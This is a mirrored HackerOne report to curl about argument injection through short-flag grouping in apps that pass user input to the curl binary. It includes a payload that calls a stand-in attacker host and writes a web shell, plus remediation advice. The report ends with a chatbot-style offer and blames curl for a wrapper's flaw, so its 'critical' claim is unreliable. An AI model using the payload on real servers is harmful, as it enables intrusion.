HexBrain

curl · Report #3669305

Argument Injection via curl Short-Flag Grouping

N/Astatus
criticalseverity
23upvotes
13 Apr 2026disclosed

How it was found

This report details how the curl -os command facilitates an Argument Injection vulnerability in applications that wrap the curl command-line tool. The specific command curl -os /etc/passwd --url http://example.com demonstrates a subtle but dangerous behavior. Because -s (silent) follows -o (output), curl expects the very next string to be the filename.In this scenario:The -o flag consumes the next argument (/etc/passwd).The -s flag tells curl to suppress the progress meter and error messages.The --url flag specifies the source of the data.This effectively turns a "downloader" into a "file overwriter." Root Cause Analysis The root cause is insufficient input validation and the unsafe use of command-line wrappers.Flag Grouping: Like most Unix-style utilities, curl allows "short-flag grouping." When a user inputs -os, curl interprets this as two separate flags: -o (output to a file) and -s (silent mode).Missing Delimiters: If an application executes a command like curl $USER_INPUT, it assumes the input will be a URL. However, if the input starts with a dash (-), curl treats it as a command-line argument rather than a string.Shell Interpretation: Many developers use functions like os.system() or exec() which pass a raw string to the system shell, allowing the shell to parse the attacker's injected flags as if they were part of the original command structure. 4. Proof of Concept (PoC)Scenario: A web application allows a user to "check if a URL is alive" by running a backend command: curl [USER_URL].

5.Steps to Reproduce:

Attacker Input: 1-Instead of a URL, the attacker enters: -os /var/www/html/shell.php --url http://attacker.com 2- Backend Execution: The server executes the concatenated string:curl -os /var/www/html/shell.php --url http://attacker.com Result: curl silently downloads the malicious_script.txt and saves it as shell.php in the web 3-rootExploitation: The attacker navigates to http://victim.com to execute their code.

Impact

Summary:

The impact of this vulnerability is typically categorized as High to Critical, depending on the environment:Arbitrary File Write: An attacker can use the -o (or --output) flag to write the contents of a URL to any location the application has permission to access.System Defacement/DDoS: By overwriting .html or .js files, an attacker can deface a website.Remote Code Execution (RCE): By overwriting a .sh script, a crontab, or a .php file in a web directory, an attacker can execute arbitrary code on the server.Data Exfiltration: Using the -F (form) or -d (data) flags, an attacker could redirect sensitive local files to their own remote server 5. Remediation RecommendationsPrimary Fix: Use a library (e.g., libcurl for C, requests for Python) instead of calling the system's curl binary.Argument Separation: If the CLI must be used, use the -- separator to tell curl that all following strings are URLs and not flags:Safe: curl -- [USER_INPUT]Sanitization: Disallow any input that begins with a hyphen (-) or contains shell metacharacters (;, &, |).Would you like a Python or Node.js code example showing the "safe" vs. "unsafe" way to handle these commands?

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original